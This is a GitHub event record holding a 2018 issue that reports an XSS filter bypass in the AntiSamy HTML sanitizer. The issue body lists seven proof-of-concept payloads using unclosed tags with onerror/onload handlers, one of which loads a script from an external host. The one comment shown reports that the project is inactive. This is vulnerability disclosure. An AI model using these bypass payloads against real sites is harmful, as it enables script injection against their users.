{"action":"created","issue":{"url":"https://api.github.com/repos/nahsra/antisamy/issues/32","repository_url":"https://api.github.com/repos/nahsra/antisamy","labels_url":"https://api.github.com/repos/nahsra/antisamy/issues/32/labels{/name}","comments_url":"https://api.github.com/repos/nahsra/antisamy/issues/32/comments","events_url":"https://api.github.com/repos/nahsra/antisamy/issues/32/events","html_url":"https://github.com/nahsra/antisamy/issues/32","id":348691018,"node_id":"MDU6SXNzdWUzNDg2OTEwMTg=","number":32,"title":"Filter Bypass","user":{"login":"karan-ramani","id":24894598,"node_id":"MDQ6VXNlcjI0ODk0NTk4","avatar_url":"https://avatars2.githubusercontent.com/u/24894598?v=4","gravatar_id":"","url":"https://api.github.com/users/karan-ramani","html_url":"https://github.com/karan-ramani","followers_url":"https://api.github.com/users/karan-ramani/followers","following_url":"https://api.github.com/users/karan-ramani/following{/other_user}","gists_url":"https://api.github.com/users/karan-ramani/gists{/gist_id}","starred_url":"https://api.github.com/users/karan-ramani/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/karan-ramani/subscriptions","organizations_url":"https://api.github.com/users/karan-ramani/orgs","repos_url":"https://api.github.com/users/karan-ramani/repos","events_url":"https://api.github.com/users/karan-ramani/events{/privacy}","received_events_url":"https://api.github.com/users/karan-ramani/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":17,"created_at":"2018-08-08T11:47:09Z","updated_at":"2019-01-04T13:07:38Z","closed_at":null,"author_association":"NONE","body":"Antisamy fails to filter (identify) 'HTML / HTML5 elements with events (onerror, onload, etc) when the tags are not closed with \">\" character. \r\nModern browsers (tested with Firefox and Chrome) will autocomplete such tags and hence will execute the JavaScript leading to Cross-site Scripting - XSS\r\n\r\nExample Payloads for better understanding -\r\n1. <img src=# onerror=alert(0)//K7-onerror_attribute\r\n2. <img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII= onload=alert(0)//K7-onload_attribute\r\n3. <input type=\"image\" src=# onerror=alert(0)//K7-works_for_other_html_n_html5_tags\r\n4. <object data=# onerror=alert(0)//K7-FireFox_specific\r\n5. <object data=# onload=alert(0)//K7-Chrome_specific\r\n6. <script onerror=alert(0) onload=alert(1) src=http://xss.rocks/xss.js#K7-script_tag_works_under_specific_conditions\r\n7. <svg\fonload=alert(0)//K7-SVG_special_char_variant\r\n\r\nI have tested using both - SAX and DOM, found the payloads to execute.\r\n\r\nKaran Ramani"},"comment":{"url":"https://api.github.com/repos/nahsra/antisamy/issues/comments/451438833","html_url":"https://github.com/nahsra/antisamy/issues/32#issuecomment-451438833","issue_url":"https://api.github.com/repos/nahsra/antisamy/issues/32","id":451438833,"node_id":"MDEyOklzc3VlQ29tbWVudDQ1MTQzODgzMw==","user":{"login":"HaraldWalker","id":2520109,"node_id":"MDQ6VXNlcjI1MjAxMDk=","avatar_url":"https://avatars1.githubusercontent.com/u/2520109?v=4","gravatar_id":"","url":"https://api.github.com/users/HaraldWalker","html_url":"https://github.com/HaraldWalker","followers_url":"https://api.github.com/users/HaraldWalker/followers","following_url":"https://api.github.com/users/HaraldWalker/following{/other_user}","gists_url":"https://api.github.com/users/HaraldWalker/gists{/gist_id}","starred_url":"https://api.github.com/users/HaraldWalker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HaraldWalker/subscriptions","organizations_url":"https://api.github.com/users/HaraldWalker/orgs","repos_url":"https://api.github.com/users/HaraldWalker/repos","events_url":"https://api.github.com/users/HaraldWalker/events{/privacy}","received_events_url":"https://api.github.com/users/HaraldWalker/received_events","type":"User","site_admin":false},"created_at":"2019-01-04T13:07:38Z","updated_at":"2019-01-04T13:07:38Z","author_association":"NONE","body":"H. Blankenship of the OWASP Foundation confirmed to me that this project is inactive and needs a new project leader."}}
{"actor":{"display_login":"HaraldWalker"}}